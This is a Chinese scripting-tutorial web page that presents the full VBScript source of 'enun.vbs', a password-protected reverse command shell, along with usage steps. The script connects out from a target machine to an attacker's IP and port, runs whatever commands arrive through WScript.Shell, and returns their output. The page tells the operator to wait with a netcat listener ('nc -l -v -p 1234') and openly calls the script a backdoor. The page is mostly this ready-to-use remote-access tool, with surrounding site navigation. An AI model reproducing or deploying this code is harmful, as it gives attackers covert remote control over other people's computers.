• linkedu视频
  • 平面设计
  • 电脑入门
  • 操作系统
  • 办公应用
  • 电脑硬件
  • 动画设计
  • 3D设计
  • 网页设计
  • CAD设计
  • 影音处理
  • 数据库
  • 程序设计
  • 认证考试
  • 信息管理
  • 信息安全
菜单
linkedu.com
  • 网页制作
  • 数据库
  • 程序设计
  • 操作系统
  • CMS教程
  • 游戏攻略
  • 脚本语言
  • 平面设计
  • 软件教程
  • 网络安全
  • 电脑知识
  • 服务器
  • 视频教程
  • vbs
  • DOS/BAT
  • hta/htc
  • python
  • perl
  • VBA
  • ColdFusion
  • ruby
  • PowerShell
  • Lua
  • Golang
  • linux shell
您的位置:首页 > 脚本语言 >vbs > VBScript 打造自己的远程CMDShell附使用教程

VBScript 打造自己的远程CMDShell附使用教程

作者: 字体:[增加 减小] 来源:互联网

通过本文主要向大家介绍了vbscript教程,vbscript视频教程,asp vbscript教程,vbscript教程pdf,vbscript教程下载等相关知识,希望对您有所帮助,也希望大家支持linkedu.com www.linkedu.com
请先下载 mswinsck.ocx 与 VB6Controls.reg!

使用方法:

1,控制:nc.exe,执行:nc -l -v -p 1234;



2,目标:cscript.exe enun.vbs IP Port;



3,密码:enun。

几点说明:
1,退出 SHELL,请输入 “exit”,不要用 “Ctrl + C”,这样的话只能等目标重启或手动运行后门才能连接;
2,Windows 7 等环境下普通标准用户也能使用,但是获取的权限相对有限。
3,内部命令及管道使用如下图:



相关下载:
      1,视频演示
      2,vb6controls

enun.vbs 源码:

Do
 Do While (SocketObj.State <> 7)
  WScript.Echo "Try Connect to " & RemoteHost & ":" & RemotePort & " ..."

  Set SocketObj = WScript.CreateObject("MSWinsock.Winsock")
  SocketObj.Protocol = 0
  SocketObj.RemoteHost = RemoteHost
  SocketObj.RemotePort = RemotePort
  SocketObj.Connect

  WScript.Sleep 3000
 Loop

 WScript.Echo "Connected to server."
 SocketObj.SendData SocketObj.LocalHostName & " is Connected, Enter Password: "
 Do While (SocketObj.BytesReceived = 0)
  WScript.Sleep 10
 Loop

 '密码验证
 SocketObj.GetData Authkey, vbString
 If Split(Authkey, chr(10), -1, 1)(0) = "enun" Then

  Set ShellObj = CreateObject("WScript.Shell")
  sRevData = " "
  SocketObj.SendData "Logon Success, Welcome!" & chr(13) & chr(10)

  '循环等待执行命令
  Do
   Set ExecObj = ShellObj.Exec(Split(sRevData, chr(10), -1, 1)(0))

   SocketObj.SendData ExecObj.StdOut.ReadAll
   SocketObj.SendData ExecObj.StdErr.ReadAll

   If sRevData <> "" Then
    SocketObj.SendData chr(10) & "[" & SocketObj.LocalHostName & "@" & "enun]#: "
   End If

   If Left(sRevData, 4) = "exit" Then
    SocketObj.Close
    Exit Do
   End If

   SocketObj.GetData sRevData, vbString
   WScript.Sleep 1000
  Loop
 Else
  LockoutBadCount = LockoutBadCount + 1
  SocketObj.SendData "Logon Failure: Unknown user name or bad password." & chr(13) & chr(10)
  WScript.Sleep 1000
 End If

 '账户策略
 If (LockoutBadCount > 3) Then
  SocketObj.SendData "The User Account is locked!" & chr(13) & chr(10)
  WScript.Sleep 1000
  SocketObj.Close
  LockoutBadCount = 0
  WScript.Sleep 600*1000
 End If
Loop
</div>

</div>

您可能想查找下面的文章:

  • VBScript语法速查及实例说明
  • VBScript教程 第一课什么是VBScript
  • VBScript教程 第二课在HTML页面中添加VBscript代码
  • VBScript教程 第三课VBScript数据类型
  • VBScript教程 第四课VBScript变量
  • VBscript教程 第五课 VBScript常数
  • VBScript教程 第六课VBScript运算符
  • VBScript教程 第七课使用条件语句
  • VBScript教程 第八课 使用循环语句
  • VBScript教程 第九课VBScript过程

相关文章

  • 可自删除 开启3389创建用户粘滞键后门的vbs
  • Restart.vbs源代码可以重启远程电脑的vbs
  • 使用 Iisftp.vbs 列出FTP站点的方法
  • 用vbs实现注册表开关的脚本
  • 运行bat时隐藏cmd窗口的方法(bat隐藏窗口 隐藏运行bat文件)
  • 自动复制U盘文件的VBS脚本
  • VBS编程教程 (第6篇)
  • 高手必看的vbs的至尊境界
  • VBScript 输出中的对齐实现方法
  • 使用 Adsutil.vbs iis管理脚本

文章分类

  • vbs
  • DOS/BAT
  • hta/htc
  • python
  • perl
  • VBA
  • ColdFusion
  • ruby
  • PowerShell
  • Lua
  • Golang
  • linux shell

最近更新的内容

    • VBS教程:函数-InputBox 函数
    • VBS获取重定向的URL的代码
    • 用vbs实现确定是否安装了某个特定的补丁
    • 用vbs实现不死帐号的代码
    • 用VBScript收集系统信息并上传到ftp空间
    • VBS教程:函数-Eval 函数
    • VBS教程:VBScript 与窗体
    • vbs/js脚本编程教学(2)
    • 去掉RAR右键解压菜单的VBS代码
    • 按键精灵 脚本-学习VBS的一个不错的教程

关于我们 - 联系我们 - 免责声明 - 网站地图

©2020-2025 All Rights Reserved. linkedu.com 版权所有